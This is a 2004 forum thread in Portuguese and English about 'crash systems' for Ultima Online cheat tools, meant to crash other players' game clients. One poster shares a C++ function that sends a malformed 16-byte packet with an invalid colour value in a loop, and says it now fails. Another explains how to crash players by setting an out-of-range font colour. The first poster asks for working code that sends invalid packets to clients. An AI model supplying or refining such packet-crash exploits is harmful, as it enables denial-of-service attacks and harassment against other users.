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bR|nofeaR
16th February 2004, 20:23
Bom, esse é o sistema do pgde de travar, ele só emite um "A" em cor crash, bom, é um lixo, soh funcionava no 1.26.4j e sphere 51.. aehuea, dia desse eu estava jogando num WS, e um cara tava com um sistema de crash que emitia 20 linhas, e cada letra das 20 frases era uma cor diferente.. muito mais vantagem.. era crash na certa, achei muito legal, e tentei fazer algo parecido.. tive alguns progressos. Queria saber se algum teria isso pronto, ou talvez tivesse ideias de crash sistems.. vlws ae

Well, this is the pgde's crash system, he sends a "A" caracter in Crash color(inexistent color), but its a trash, only works in sphere 51 and clients 1.26.4j, i was playing in a Warshard and someone was using a crash sistem that sends 20 lines and all caracters of a line was in diferent colors.. i tried to make something like that... i wanna know if anyone have that code, or have ideas to make crash sistem, thx


void Injection::command_crash(const arglist_t & args)
{
int attempts;
attempts = 1;
if(args.size() > 2)
{
client_print("crash [attempts]");
return;
}
if(args.size() == 2)
{
string_to_int(args[1].c_str(),attempts);
}
uint8 buf[16];
buf[0] = 0xad;
buf[1] = 0x00;
buf[2] = 0x10;
buf[3] = 0x00;
buf[4] = 0x80;
buf[5] = 0x00;
buf[6] = 0x00;
buf[7] = 0x03;
buf[8] = 0x44;
buf[9] = 0x45;
buf[10] = 0x55;
buf[11] = 0x00;
buf[12] = 0x00;
buf[13] = 0x41;
buf[14] = 0x00;
buf[15] = 0x00;
for(int i=0;i < attempts;i++)
{
send_server(buf,sizeof(buf));
}
}


actually, this code is invallid to crash :) you only get a Erro: Language Pair blablabla

Atualmente esse codigo ae eh invalido, voce soh recebe um erro: Language e Cor nao foram aceitas e talz..

rawr69!
17th February 2004, 06:50
hmm i crash ppls with injection w/ the need of any special command.. + it depends on the verdata.mul you are using (maybe the hue file too, i don't know)
so it works as follow:

on the main pannel of injection (yoko's for exemple) there's a "font" option, that allows you to choose the color of your font.. you can either type it or use the [dye] button wich is useless
.. all you have to do is type a number that will be out of range (in hexa, wich actualy means any number will work ) i usualy just use "fffffff" or well "9999999" would probably work aswell
when u've set the font color
all you have to do is write something ingame.
it will crash other players WICH are NOT using the uoa to replace the color (one common uoa option) OR using injection of course.

bR|nofeaR
17th February 2004, 18:58
Originally posted by rawr69!
hmm i crash ppls with injection w/ the need of any special command.. + it depends on the verdata.mul you are using (maybe the hue file too, i don't know)
so it works as follow:

on the main pannel of injection (yoko's for exemple) there's a "font" option, that allows you to choose the color of your font.. you can either type it or use the [dye] button wich is useless
.. all you have to do is type a number that will be out of range (in hexa, wich actualy means any number will work ) i usualy just use "fffffff" or well "9999999" would probably work aswell
when u've set the font color
all you have to do is write something ingame.
it will crash other players WICH are NOT using the uoa to replace the color (one common uoa option) OR using injection of course.

come on.. it don't work anymore, when u put 0x9999, it says in black and bold font.. it never crash... what im saying is.. if is there a way to send invalid packets to clients, independent of the verdata or hues.. got it? ;)